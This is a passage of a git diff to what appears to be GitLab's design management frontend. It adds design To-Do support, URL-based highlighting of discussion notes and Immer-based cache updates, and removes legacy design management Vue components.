+ // the browser will scroll to, and highlight, the note in the UI
+ this.updateActiveDiscussionFromUrl();
},
beforeDestroy() {
Mousetrap.unbind('esc', this.closeDesign);
@@ -221,7 +227,7 @@ export default {
},
onError(message, e) {
this.errorMessage = message;
- throw e;
+ if (e) throw e;
},
onCreateImageDiffNoteError(e) {
this.onError(ADD_IMAGE_DIFF_NOTE_ERROR, e);
@@ -241,6 +247,9 @@ export default {
onResolveDiscussionError(e) {
this.onError(UPDATE_IMAGE_DIFF_NOTE_ERROR, e);
},
+ onTodoError(e) {
+ this.onError(e?.message || TOGGLE_TODO_ERROR, e);
+ },
openCommentForm(annotationCoordinates) {
this.annotationCoordinates = annotationCoordinates;
if (this.$refs.newDiscussionForm) {
@@ -266,15 +275,20 @@ export default {
this.isLatestVersion,
);
},
- updateActiveDiscussion(id) {
+ updateActiveDiscussion(id, source = ACTIVE_DISCUSSION_SOURCE_TYPES.discussion) {
this.$apollo.mutate({
mutation: updateActiveDiscussionMutation,
variables: {
id,
- source: ACTIVE_DISCUSSION_SOURCE_TYPES.discussion,
+ source,
},
});
},
+ updateActiveDiscussionFromUrl() {
+ const noteId = extractDesignNoteId(this.$route.hash);
+ const diffNoteGid = noteId ? toDiffNoteGid(noteId) : undefined;
+ return this.updateActiveDiscussion(diffNoteGid, ACTIVE_DISCUSSION_SOURCE_TYPES.url);
+ },
toggleResolvedComments() {
this.resolvedDiscussionsExpanded = !this.resolvedDiscussionsExpanded;
},
@@ -339,6 +353,7 @@ export default {
@updateNoteError="onUpdateNoteError"
@resolveDiscussionError="onResolveDiscussionError"
@toggleResolvedComments="toggleResolvedComments"
+ @todoError="onTodoError"
>
<template #replyForm>
<apollo-mutation
@@ -357,8 +372,8 @@ export default {
v-model="comment"
:is-saving="loading"
:markdown-preview-path="markdownPreviewPath"
- @submitForm="mutate"
- @cancelForm="closeCommentForm"
+ @submit-form="mutate"
+ @cancel-form="closeCommentForm"
/> </apollo-mutation
></template>
</design-sidebar>
diff --git a/app/assets/javascripts/design_management/pages/index.vue b/app/assets/javascripts/design_management/pages/index.vue
index cd68e9d6c5b..6c4c8c75054 100644
--- a/app/assets/javascripts/design_management/pages/index.vue
+++ b/app/assets/javascripts/design_management/pages/index.vue
@@ -281,13 +281,8 @@ export default {
.mutate({
mutation: moveDesignMutation,
variables: this.designMoveVariables(newIndex, element),
- update: (store, { data: { designManagementMove } }) => {
- return updateDesignsOnStoreAfterReorder(
- store,
- designManagementMove,
- this.projectQueryBody,
- );
- },
+ update: (store, { data: { designManagementMove } }) =>
+ updateDesignsOnStoreAfterReorder(store, designManagementMove, this.projectQueryBody),
optimisticResponse: moveDesignOptimisticResponse(this.reorderedDesigns),
})
.catch(() => {
@@ -327,7 +322,7 @@ export default {
v-if="isLatestVersion"
variant="link"
size="small"
- class="gl-mr-3 js-select-all"
+ class="gl-mr-4 js-select-all"
@click="toggleDesignsSelection"
>{{ selectAllButtonText }}
</gl-button>
diff --git a/app/assets/javascripts/design_management/utils/cache_update.js b/app/assets/javascripts/design_management/utils/cache_update.js
index b79df9d01d5..ff41136fd54 100644
--- a/app/assets/javascripts/design_management/utils/cache_update.js
+++ b/app/assets/javascripts/design_management/utils/cache_update.js
@@ -1,22 +1,27 @@
/* eslint-disable @gitlab/require-i18n-strings */
import { groupBy } from 'lodash';
+import produce from 'immer';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { extractCurrentDiscussion, extractDesign } from './design_management_utils';
+import { extractCurrentDiscussion, extractDesign, extractDesigns } from './design_management_utils';
import {
ADD_IMAGE_DIFF_NOTE_ERROR,
UPDATE_IMAGE_DIFF_NOTE_ERROR,
- ADD_DISCUSSION_COMMENT_ERROR,
+ DELETE_DESIGN_TODO_ERROR,
designDeletionError,
} from './error_messages';
+const designsOf = data => data.project.issue.designCollection.designs;
+
const deleteDesignsFromStore = (store, query, selectedDesigns) => {
- const data = store.readQuery(query);
+ const sourceData = store.readQuery(query);
- const changedDesigns = data.project.issue.designCollection.designs.nodes.filter(
- node => !selectedDesigns.includes(node.filename),
- );
- data.project.issue.designCollection.designs.nodes = [...changedDesigns];
+ const data = produce(sourceData, draftData => {
+ const changedDesigns = designsOf(sourceData).nodes.filter(
+ design => !selectedDesigns.includes(design.filename),
+ );
+ designsOf(draftData).nodes = [...changedDesigns];
+ });
store.writeQuery({
...query,
@@ -33,13 +38,15 @@ const deleteDesignsFromStore = (store, query, selectedDesigns) => {
*/
const addNewVersionToStore = (store, query, version) => {
if (!version) return;
+ const sourceData = store.readQuery(query);
- const data = store.readQuery(query);
-
- data.project.issue.designCollection.versions.nodes = [
- version,
- ...data.project.issue.designCollection.versions.nodes,
- ];
+ const data = produce(sourceData, draftData => {
+ // eslint-disable-next-line no-param-reassign
+ draftData.project.issue.designCollection.versions.nodes = [
+ version,
+ ...draftData.project.issue.designCollection.versions.nodes,
+ ];
+ });
store.writeQuery({
...query,
@@ -47,47 +54,12 @@ const addNewVersionToStore = (store, query, version) => {
});
};
-const addDiscussionCommentToStore = (store, createNote, query, queryVariables, discussionId) => {
- const data = store.readQuery({
- query,
- variables: queryVariables,
- });
-
- const design = extractDesign(data);
- const currentDiscussion = extractCurrentDiscussion(design.discussions, discussionId);
- currentDiscussion.notes.nodes = [...currentDiscussion.notes.nodes, createNote.note];
-
- design.notesCount += 1;
- if (
- !design.issue.participants.nodes.some(
- participant => participant.username === createNote.note.author.username,
- )
- ) {
- design.issue.participants.nodes = [
- ...design.issue.participants.nodes,
- {
- __typename: 'User',
- ...createNote.note.author,
- },
- ];
- }
- store.writeQuery({
- query,
- variables: queryVariables,
- data: {
- ...data,
- design: {
- ...design,
- },
- },
- });
-};
-
const addImageDiffNoteToStore = (store, createImageDiffNote, query, variables) => {
- const data = store.readQuery({
+ const sourceData = store.readQuery({
query,
variables,
});
+
const newDiscussion = {
__typename: 'Discussion',
id: createImageDiffNote.note.discussion.id,
@@ -101,100 +73,100 @@ const addImageDiffNoteToStore = (store, createImageDiffNote, query, variables) =
nodes: [createImageDiffNote.note],
},
};
- const design = extractDesign(data);
- const notesCount = design.notesCount + 1;
- design.discussions.nodes = [...design.discussions.nodes, newDiscussion];
- if (
- !design.issue.participants.nodes.some(
- participant => participant.username === createImageDiffNote.note.author.username,
- )
- ) {
- design.issue.participants.nodes = [
- ...design.issue.participants.nodes,
- {
- __typename: 'User',
- ...createImageDiffNote.note.author,
- },
- ];
- }
+
+ const data = produce(sourceData, draftData => {
+ const design = extractDesign(draftData);
+ design.notesCount += 1;
+ design.discussions.nodes = [...design.discussions.nodes, newDiscussion];
+
+ if (
+ !design.issue.participants.nodes.some(
+ participant => participant.username === createImageDiffNote.note.author.username,
+ )
+ ) {
+ design.issue.participants.nodes = [
+ ...design.issue.participants.nodes,
+ {
+ __typename: 'User',
+ ...createImageDiffNote.note.author,
+ },
+ ];
+ }
+ });
+
store.writeQuery({
query,
variables,
- data: {
- ...data,
- design: {
- ...design,
- notesCount,
- },
- },
+ data,
});
};
const updateImageDiffNoteInStore = (store, updateImageDiffNote, query, variables) => {
- const data = store.readQuery({
+ const sourceData = store.readQuery({
query,
variables,
});
- const design = extractDesign(data);
- const discussion = extractCurrentDiscussion(
- design.discussions,
- updateImageDiffNote.note.discussion.id,
- );
-
- discussion.notes = {
- ...discussion.notes,
- nodes: [updateImageDiffNote.note, ...discussion.notes.nodes.slice(1)],
- };
+ const data = produce(sourceData, draftData => {
+ const design = extractDesign(draftData);
+ const discussion = extractCurrentDiscussion(
+ design.discussions,
+ updateImageDiffNote.note.discussion.id,
+ );
+
+ discussion.notes = {
+ ...discussion.notes,
+ nodes: [updateImageDiffNote.note, ...discussion.notes.nodes.slice(1)],
+ };
+ });
store.writeQuery({
query,
variables,
- data: {
- ...data,
- design,
- },
+ data,
});
};
const addNewDesignToStore = (store, designManagementUpload, query) => {
- const data = store.readQuery(query);
+ const sourceData = store.readQuery(query);
- const currentDesigns = data.project.issue.designCollection.designs.nodes;
- const existingDesigns = groupBy(currentDesigns, 'filename');
- const newDesigns = currentDesigns.concat(
- designManagementUpload.designs.filter(d => !existingDesigns[d.filename]),
- );
+ const data = produce(sourceData, draftData => {
+ const currentDesigns = extractDesigns(draftData);
+ const existingDesigns = groupBy(currentDesigns, 'filename');
+ const newDesigns = currentDesigns.concat(
+ designManagementUpload.designs.filter(d => !existingDesigns[d.filename]),
+ );
- let newVersionNode;
- const findNewVersions = designManagementUpload.designs.find(design => design.versions);
+ let newVersionNode;
+ const findNewVersions = designManagementUpload.designs.find(design => design.versions);
- if (findNewVersions) {
- const findNewVersionsNodes = findNewVersions.versions.nodes;
+ if (findNewVersions) {
+ const findNewVersionsNodes = findNewVersions.versions.nodes;
- if (findNewVersionsNodes && findNewVersionsNodes.length) {
- newVersionNode = [findNewVersionsNodes[0]];
+ if (findNewVersionsNodes && findNewVersionsNodes.length) {
+ newVersionNode = [findNewVersionsNodes[0]];
+ }
}
- }
-
- const newVersions = [
- ...(newVersionNode || []),
- ...data.project.issue.designCollection.versions.nodes,
- ];
- const updatedDesigns = {
- __typename: 'DesignCollection',
- designs: {
- __typename: 'DesignConnection',
- nodes: newDesigns,
- },
- versions: {
- __typename: 'DesignVersionConnection',
- nodes: newVersions,
- },
- };
+ const newVersions = [
+ ...(newVersionNode || []),
+ ...draftData.project.issue.designCollection.versions.nodes,
+ ];
- data.project.issue.designCollection = updatedDesigns;
+ const updatedDesigns = {
+ __typename: 'DesignCollection',
+ designs: {
+ __typename: 'DesignConnection',
+ nodes: newDesigns,
+ },
+ versions: {
+ __typename: 'DesignVersionConnection',
+ nodes: newVersions,
+ },
+ };
+ // eslint-disable-next-line no-param-reassign
+ draftData.project.issue.designCollection = updatedDesigns;
+ });
store.writeQuery({
...query,
@@ -203,14 +175,63 @@ const addNewDesignToStore = (store, designManagementUpload, query) => {
};
const moveDesignInStore = (store, designManagementMove, query) => {
- const data = store.readQuery(query);
- data.project.issue.designCollection.designs = designManagementMove.designCollection.designs;
+ const sourceData = store.readQuery(query);
+
+ const data = produce(sourceData, draftData => {
+ // eslint-disable-next-line no-param-reassign
+ draftData.project.issue.designCollection.designs =
+ designManagementMove.designCollection.designs;
+ });
+
store.writeQuery({
...query,
data,
});
};
+export const addPendingTodoToStore = (store, pendingTodo, query, queryVariables) => {
+ const sourceData = store.readQuery({
+ query,
+ variables: queryVariables,
+ });
+
+ const data = produce(sourceData, draftData => {
+ const design = extractDesign(draftData);
+ const existingTodos = design.currentUserTodos?.nodes || [];
+ const newTodoNodes = [...existingTodos, { ...pendingTodo, __typename: 'Todo' }];
+
+ if (!design.currentUserTodos) {
+ design.currentUserTodos = {
+ __typename: 'TodoConnection',
+ nodes: newTodoNodes,
+ };
+ } else {
+ design.currentUserTodos.nodes = newTodoNodes;
+ }
+ });
+
+ store.writeQuery({ query, variables: queryVariables, data });
+};
+
+export const deletePendingTodoFromStore = (store, todoMarkDone, query, queryVariables) => {
+ const sourceData = store.readQuery({
+ query,
+ variables: queryVariables,
+ });
+
+ const {
+ todo: { id: todoId },
+ } = todoMarkDone;
+ const data = produce(sourceData, draftData => {
+ const design = extractDesign(draftData);
+ const existingTodos = design.currentUserTodos?.nodes || [];
+
+ design.currentUserTodos.nodes = existingTodos.filter(({ id }) => id !== todoId);
+ });
+
+ store.writeQuery({ query, variables: queryVariables, data });
+};
+
const onError = (data, message) => {
createFlash(message);
throw new Error(data.errors);
@@ -235,20 +256,6 @@ export const updateStoreAfterDesignsDelete = (store, data, query, designs) => {
}
};
-export const updateStoreAfterAddDiscussionComment = (
- store,
- data,
- query,
- queryVariables,
- discussionId,
-) => {
- if (hasErrors(data)) {
- onError(data, ADD_DISCUSSION_COMMENT_ERROR);
- } else {
- addDiscussionCommentToStore(store, data, query, queryVariables, discussionId);
- }
-};
-
export const updateStoreAfterAddImageDiffNote = (store, data, query, queryVariables) => {
if (hasErrors(data)) {
onError(data, ADD_IMAGE_DIFF_NOTE_ERROR);
@@ -280,3 +287,11 @@ export const updateDesignsOnStoreAfterReorder = (store, data, query) => {
moveDesignInStore(store, data, query);
}
};
+
+export const updateStoreAfterDeleteDesignTodo = (store, data, query, queryVariables) => {
+ if (hasErrors(data)) {
+ onError(data, DELETE_DESIGN_TODO_ERROR);
+ } else {
+ deletePendingTodoFromStore(store, data, query, queryVariables);
+ }
+};
diff --git a/app/assets/javascripts/design_management/utils/design_management_utils.js b/app/assets/javascripts/design_management/utils/design_management_utils.js
index da8f89ff960..93e4d6060c3 100644
--- a/app/assets/javascripts/design_management/utils/design_management_utils.js
+++ b/app/assets/javascripts/design_management/utils/design_management_utils.js
@@ -30,10 +30,25 @@ export const findVersionId = id => (id.match('::Version/(.+$)') || [])[1];
export const findNoteId = id => (id.match('DiffNote/(.+$)') || [])[1];
+export const findIssueId = id => (id.match('Issue/(.+$)') || [])[1];
+
+export const findDesignId = id => (id.match('Design/(.+$)') || [])[1];
+
export const extractDesigns = data => data.project.issue.designCollection.designs.nodes;
export const extractDesign = data => (extractDesigns(data) || [])[0];
+export const toDiffNoteGid = noteId => `gid://gitlab/DiffNote/${noteId}`;
+
+/**
+ * Return the note ID from a URL hash parameter
+ * @param {String} urlHash URL hash, including `#` prefix
+ */
+export const extractDesignNoteId = urlHash => {
+ const [, noteId] = urlHash.match('#note_([0-9]+$)') || [];
+ return noteId || null;
+};
+
/**
* Generates optimistic response for a design upload mutation
* @param {Array<File>} files
@@ -135,3 +150,22 @@ const normalizeAuthor = author => ({
export const extractParticipants = users => users.map(node => normalizeAuthor(node));
export const getPageLayoutElement = () => document.querySelector('.layout-page');
+
+/**
+ * Extract the ID of the To-Do for a given 'delete' path
+ * Example of todoDeletePath: /delete/1234
+ * @param {String} todoDeletePath delete_path from REST API response
+ */
+export const extractTodoIdFromDeletePath = todoDeletePath =>
+ (todoDeletePath.match('todos/([0-9]+$)') || [])[1];
+
+const createTodoGid = todoId => {
+ return `gid://gitlab/Todo/${todoId}`;
+};
+
+export const createPendingTodo = todoId => {
+ return {
+ __typename: 'Todo', // eslint-disable-line @gitlab/require-i18n-strings
+ id: createTodoGid(todoId),
+ };
+};
diff --git a/app/assets/javascripts/design_management/utils/error_messages.js b/app/assets/javascripts/design_management/utils/error_messages.js
index c815b11737d..bd21d711462 100644
--- a/app/assets/javascripts/design_management/utils/error_messages.js
+++ b/app/assets/javascripts/design_management/utils/error_messages.js
@@ -44,6 +44,14 @@ export const MOVE_DESIGN_ERROR = __(
'Something went wrong when reordering designs. Please try again',
);
+export const CREATE_DESIGN_TODO_ERROR = __('Failed to create To-Do for the design.');
+
+export const CREATE_DESIGN_TODO_EXISTS_ERROR = __('There is already a To-Do for this design.');
+
+export const DELETE_DESIGN_TODO_ERROR = __('Failed to remove To-Do for the design.');
+
+export const TOGGLE_TODO_ERROR = __('Failed to toggle To-Do for the design.');
+
const MAX_SKIPPED_FILES_LISTINGS = 5;
const oneDesignSkippedMessage = filename =>
diff --git a/app/assets/javascripts/design_management/utils/tracking.js b/app/assets/javascripts/design_management/utils/tracking.js
index b3ecc1453a6..49fa306914c 100644
--- a/app/assets/javascripts/design_management/utils/tracking.js
+++ b/app/assets/javascripts/design_management/utils/tracking.js
@@ -5,7 +5,6 @@ const DESIGN_TRACKING_CONTEXT_SCHEMA = 'iglu:com.gitlab/design_management_contex
const DESIGN_TRACKING_PAGE_NAME = 'projects:issues:design';
const DESIGN_TRACKING_EVENT_NAME = 'view_design';
-// eslint-disable-next-line import/prefer-default-export
export function trackDesignDetailView(
referer = '',
owner = '',
diff --git a/app/assets/javascripts/design_management_legacy/components/app.vue b/app/assets/javascripts/design_management_legacy/components/app.vue
deleted file mode 100644
index 98240aef810..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/app.vue
+++ /dev/null
@@ -1,3 +0,0 @@
-<template>
- <router-view />
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/delete_button.vue b/app/assets/javascripts/design_management_legacy/components/delete_button.vue
deleted file mode 100644
index 1fd902c9ed7..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/delete_button.vue
+++ /dev/null
@@ -1,64 +0,0 @@
-<script>
-import { GlDeprecatedButton, GlModal, GlModalDirective } from '@gitlab/ui';
-import { uniqueId } from 'lodash';
-
-export default {
- name: 'DeleteButton',
- components: {
- GlDeprecatedButton,
- GlModal,
- },
- directives: {
- GlModalDirective,
- },
- props: {
- isDeleting: {
- type: Boolean,
- required: false,
- default: false,
- },
- buttonClass: {
- type: String,
- required: false,
- default: '',
- },
- buttonVariant: {
- type: String,
- required: false,
- default: '',
- },
- hasSelectedDesigns: {
- type: Boolean,
- required: false,
- default: true,
- },
- },
- data() {
- return {
- modalId: uniqueId('design-deletion-confirmation-'),
- };
- },
-};
-</script>
-
-<template>
- <div>
- <gl-modal
- :modal-id="modalId"
- :title="s__('DesignManagement|Delete designs confirmation')"
- :ok-title="s__('DesignManagement|Delete')"
- ok-variant="danger"
- @ok="$emit('deleteSelectedDesigns')"
- >
- <p>{{ s__('DesignManagement|Are you sure you want to delete the selected designs?') }}</p>
- </gl-modal>
- <gl-deprecated-button
- v-gl-modal-directive="modalId"
- :variant="buttonVariant"
- :disabled="isDeleting || !hasSelectedDesigns"
- :class="buttonClass"
- >
- <slot></slot>
- </gl-deprecated-button>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_destroyer.vue b/app/assets/javascripts/design_management_legacy/components/design_destroyer.vue
deleted file mode 100644
index 62460ca551c..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_destroyer.vue
+++ /dev/null
@@ -1,66 +0,0 @@
-<script>
-import { ApolloMutation } from 'vue-apollo';
-import getDesignListQuery from '../graphql/queries/get_design_list.query.graphql';
-import destroyDesignMutation from '../graphql/mutations/destroy_design.mutation.graphql';
-import { updateStoreAfterDesignsDelete } from '../utils/cache_update';
-
-export default {
- components: {
- ApolloMutation,
- },
- props: {
- filenames: {
- type: Array,
- required: true,
- },
- projectPath: {
- type: String,
- required: true,
- },
- iid: {
- type: String,
- required: true,
- },
- },
- computed: {
- projectQueryBody() {
- return {
- query: getDesignListQuery,
- variables: { fullPath: this.projectPath, iid: this.iid, atVersion: null },
- };
- },
- },
- methods: {
- updateStoreAfterDelete(
- store,
- {
- data: { designManagementDelete },
- },
- ) {
- updateStoreAfterDesignsDelete(
- store,
- designManagementDelete,
- this.projectQueryBody,
- this.filenames,
- );
- },
- },
- destroyDesignMutation,
-};
-</script>
-
-<template>
- <apollo-mutation
- #default="{ mutate, loading, error }"
- :mutation="$options.destroyDesignMutation"
- :variables="{
- filenames,
- projectPath,
- iid,
- }"
- :update="updateStoreAfterDelete"
- v-on="$listeners"
- >
- <slot v-bind="{ mutate, loading, error }"></slot>
- </apollo-mutation>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_note_pin.vue b/app/assets/javascripts/design_management_legacy/components/design_note_pin.vue
deleted file mode 100644
index 2b5e62c2870..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_note_pin.vue
+++ /dev/null
@@ -1,61 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
-
-export default {
- name: 'DesignNotePin',
- components: {
- GlIcon,
- },
- props: {
- position: {
- type: Object,
- required: true,
- },
- label: {
- type: Number,
- required: false,
- default: null,
- },
- repositioning: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- isNewNote() {
- return this.label === null;
- },
- pinStyle() {
- return this.repositioning ? { ...this.position, cursor: 'move' } : this.position;
- },
- pinLabel() {
- return this.isNewNote
- ? __('Comment form position')
- : sprintf(__("Comment '%{label}' position"), { label: this.label });
- },
- },
-};
-</script>
-
-<template>
- <button
- :style="pinStyle"
- :aria-label="pinLabel"
- :class="{
- 'btn-transparent comment-indicator': isNewNote,
- 'js-image-badge badge badge-pill': !isNewNote,
- }"
- class="design-pin gl-absolute gl-display-flex gl-align-items-center gl-justify-content-center gl-p-0"
- type="button"
- @mousedown="$emit('mousedown', $event)"
- @mouseup="$emit('mouseup', $event)"
- @click="$emit('click', $event)"
- >
- <gl-icon v-if="isNewNote" name="image-comment-dark" :size="24" />
- <template v-else>
- {{ label }}
- </template>
- </button>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_notes/design_discussion.vue b/app/assets/javascripts/design_management_legacy/components/design_notes/design_discussion.vue
deleted file mode 100644
index 6a20517eed7..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_notes/design_discussion.vue
+++ /dev/null
@@ -1,297 +0,0 @@
-<script>
-import { ApolloMutation } from 'vue-apollo';
-import { GlTooltipDirective, GlIcon, GlLoadingIcon, GlLink } from '@gitlab/ui';
-import { s__ } from '~/locale';
-import ReplyPlaceholder from '~/notes/components/discussion_reply_placeholder.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import allVersionsMixin from '../../mixins/all_versions';
-import createNoteMutation from '../../graphql/mutations/create_note.mutation.graphql';
-import toggleResolveDiscussionMutation from '../../graphql/mutations/toggle_resolve_discussion.mutation.graphql';
-import getDesignQuery from '../../graphql/queries/get_design.query.graphql';
-import activeDiscussionQuery from '../../graphql/queries/active_discussion.query.graphql';
-import DesignNote from './design_note.vue';
-import DesignReplyForm from './design_reply_form.vue';
-import { updateStoreAfterAddDiscussionComment } from '../../utils/cache_update';
-import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '../../constants';
-import ToggleRepliesWidget from './toggle_replies_widget.vue';
-
-export default {
- components: {
- ApolloMutation,
- DesignNote,
- ReplyPlaceholder,
- DesignReplyForm,
- GlIcon,
- GlLoadingIcon,
- GlLink,
- ToggleRepliesWidget,
- TimeAgoTooltip,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- mixins: [allVersionsMixin],
- props: {
- discussion: {
- type: Object,
- required: true,
- },
- noteableId: {
- type: String,
- required: true,
- },
- designId: {
- type: String,
- required: true,
- },
- markdownPreviewPath: {
- type: String,
- required: false,
- default: '',
- },
- resolvedDiscussionsExpanded: {
- type: Boolean,
- required: true,
- },
- discussionWithOpenForm: {
- type: String,
- required: true,
- },
- },
- apollo: {
- activeDiscussion: {
- query: activeDiscussionQuery,
- result({ data }) {
- const discussionId = data.activeDiscussion.id;
- if (this.discussion.resolved && !this.resolvedDiscussionsExpanded) {
- return;
- }
- // We watch any changes to the active discussion from the design pins and scroll to this discussion if it exists
- // We don't want scrollIntoView to be triggered from the discussion click itself
- if (
- discussionId &&
- data.activeDiscussion.source === ACTIVE_DISCUSSION_SOURCE_TYPES.pin &&
- discussionId === this.discussion.notes[0].id
- ) {
- this.$el.scrollIntoView({
- behavior: 'smooth',
- inline: 'start',
- });
- }
- },
- },
- },
- data() {
- return {
- discussionComment: '',
- isFormRendered: false,
- activeDiscussion: {},
- isResolving: false,
- shouldChangeResolvedStatus: false,
- areRepliesCollapsed: this.discussion.resolved,
- };
- },
- computed: {
- mutationPayload() {
- return {
- noteableId: this.noteableId,
- body: this.discussionComment,
- discussionId: this.discussion.id,
- };
- },
- designVariables() {
- return {
- fullPath: this.projectPath,
- iid: this.issueIid,
- filenames: [this.$route.params.id],
- atVersion: this.designsVersion,
- };
- },
- isDiscussionHighlighted() {
- return this.discussion.notes[0].id === this.activeDiscussion.id;
- },
- resolveCheckboxText() {
- return this.discussion.resolved
- ? s__('DesignManagement|Unresolve thread')
- : s__('DesignManagement|Resolve thread');
- },
- firstNote() {
- return this.discussion.notes[0];
- },
- discussionReplies() {
- return this.discussion.notes.slice(1);
- },
- areRepliesShown() {
- return !this.discussion.resolved || !this.areRepliesCollapsed;
- },
- resolveIconName() {
- return this.discussion.resolved ? 'check-circle-filled' : 'check-circle';
- },
- isRepliesWidgetVisible() {
- return this.discussion.resolved && this.discussionReplies.length > 0;
- },
- isReplyPlaceholderVisible() {
- return this.areRepliesShown || !this.discussionReplies.length;
- },
- isFormVisible() {
- return this.isFormRendered && this.discussionWithOpenForm === this.discussion.id;
- },
- },
- methods: {
- addDiscussionComment(
- store,
- {
- data: { createNote },
- },
- ) {
- updateStoreAfterAddDiscussionComment(
- store,
- createNote,
- getDesignQuery,
- this.designVariables,
- this.discussion.id,
- );
- },
- onDone() {
- this.discussionComment = '';
- this.hideForm();
- if (this.shouldChangeResolvedStatus) {
- this.toggleResolvedStatus();
- }
- },
- onCreateNoteError(err) {
- this.$emit('createNoteError', err);
- },
- hideForm() {
- this.isFormRendered = false;
- this.discussionComment = '';
- },
- showForm() {
- this.$emit('openForm', this.discussion.id);
- this.isFormRendered = true;
- },
- toggleResolvedStatus() {
- this.isResolving = true;
- this.$apollo
- .mutate({
- mutation: toggleResolveDiscussionMutation,
- variables: { id: this.discussion.id, resolve: !this.discussion.resolved },
- })
- .then(({ data }) => {
- if (data.errors?.length > 0) {
- this.$emit('resolveDiscussionError', data.errors[0]);
- }
- })
- .catch(err => {
- this.$emit('resolveDiscussionError', err);
- })
- .finally(() => {
- this.isResolving = false;
- });
- },
- },
- createNoteMutation,
-};
-</script>
-
-<template>
- <div class="design-discussion-wrapper">
- <div
- class="badge badge-pill gl-display-flex gl-align-items-center gl-justify-content-center"
- :class="{ resolved: discussion.resolved }"
- type="button"
- >
- {{ discussion.index }}
- </div>
- <ul
- class="design-discussion bordered-box gl-relative gl-p-0 gl-list-style-none"
- data-qa-selector="design_discussion_content"
- >
- <design-note
- :note="firstNote"
- :markdown-preview-path="markdownPreviewPath"
- :is-resolving="isResolving"
- :class="{ 'gl-bg-blue-50': isDiscussionHighlighted }"
- @error="$emit('updateNoteError', $event)"
- >
- <template v-if="discussion.resolvable" #resolveDiscussion>
- <button
- v-gl-tooltip
- :class="{ 'is-active': discussion.resolved }"
- :title="resolveCheckboxText"
- :aria-label="resolveCheckboxText"
- type="button"
- class="line-resolve-btn note-action-button gl-mr-3"
- data-testid="resolve-button"
- @click.stop="toggleResolvedStatus"
- >
- <gl-icon v-if="!isResolving" :name="resolveIconName" data-testid="resolve-icon" />
- <gl-loading-icon v-else inline />
- </button>
- </template>
- <template v-if="discussion.resolved" #resolvedStatus>
- <p class="gl-text-gray-500 gl-font-sm gl-m-0 gl-mt-5" data-testid="resolved-message">
- {{ __('Resolved by') }}
- <gl-link
- class="gl-text-gray-500 gl-text-decoration-none gl-font-sm link-inherit-color"
- :href="discussion.resolvedBy.webUrl"
- target="_blank"
- >{{ discussion.resolvedBy.name }}</gl-link
- >
- <time-ago-tooltip :time="discussion.resolvedAt" tooltip-placement="bottom" />
- </p>
- </template>
- </design-note>
- <toggle-replies-widget
- v-if="isRepliesWidgetVisible"
- :collapsed="areRepliesCollapsed"
- :replies="discussionReplies"
- @toggle="areRepliesCollapsed = !areRepliesCollapsed"
- />
- <design-note
- v-for="note in discussionReplies"
- v-show="areRepliesShown"
- :key="note.id"
- :note="note"
- :markdown-preview-path="markdownPreviewPath"
- :is-resolving="isResolving"
- :class="{ 'gl-bg-blue-50': isDiscussionHighlighted }"
- @error="$emit('updateNoteError', $event)"
- />
- <li v-show="isReplyPlaceholderVisible" class="reply-wrapper">
- <reply-placeholder
- v-if="!isFormVisible"
- class="qa-discussion-reply"
- :button-text="__('Reply...')"
- @onClick="showForm"
- />
- <apollo-mutation
- v-else
- #default="{ mutate, loading }"
- :mutation="$options.createNoteMutation"
- :variables="{
- input: mutationPayload,
- }"
- :update="addDiscussionComment"
- @done="onDone"
- @error="onCreateNoteError"
- >
- <design-reply-form
- v-model="discussionComment"
- :is-saving="loading"
- :markdown-preview-path="markdownPreviewPath"
- @submitForm="mutate"
- @cancelForm="hideForm"
- >
- <template v-if="discussion.resolvable" #resolveCheckbox>
- <label data-testid="resolve-checkbox">
- <input v-model="shouldChangeResolvedStatus" type="checkbox" />
- {{ resolveCheckboxText }}
- </label>
- </template>
- </design-reply-form>
- </apollo-mutation>
- </li>
- </ul>
- </div>
-</template>
diff --git a/app/assets/javascripts/design_management_legacy/components/design_notes/design_note.vue b/app/assets/javascripts/design_management_legacy/components/design_notes/design_note.vue
deleted file mode 100644
index b1f3a43a66d..00000000000
--- a/app/assets/javascripts/design_management_legacy/components/design_notes/design_note.vue
+++ /dev/null
@@ -1,156 +0,0 @@
-<script>
-import { ApolloMutation } from 'vue-apollo';
-import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import updateNoteMutation from '../../graphql/mutations/update_note.mutation.graphql';
-import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
-import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import DesignReplyForm from './design_reply_form.vue';
-import { findNoteId } from '../../utils/design_management_utils';
-import { hasErrors } from '../../utils/cache_update';
-
-export default {
- components: {
- UserAvatarLink,
- TimelineEntryItem,
- TimeAgoTooltip,
- DesignReplyForm,
- ApolloMutation,
- GlIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- note: {
- type: Object,
- required: true,
- },
- markdownPreviewPath: {
- type: String,
- required: false,
- default: '',
- },
- },
- data() {
- return {
- noteText: this.note.body,
- isEditing: false,
- };
- },
- computed: {
- author() {
- return this.note.author;
- },
- noteAnchorId() {
- return findNoteId(this.note.id);
- },
- isNoteLinked() {
- return this.$route.hash === `#note_${this.noteAnchorId}`;
- },
- mutationPayload() {
- return {
- id: this.note.id,
- body: this.noteText,
- };
- },
- isEditButtonVisible() {
- return !this.isEditing && this.note.userPermissions.adminNote;
- },
- },
- mounted() {
- if (this.isNoteLinked) {
- this.$refs.anchor.$el.scrollIntoView({ behavior: 'smooth', inline: 'start' });
- }
- },
- methods: {
- hideForm() {
- this.isEditing = false;
- this.noteText = this.note.body;
- },
- onDone({ data }) {
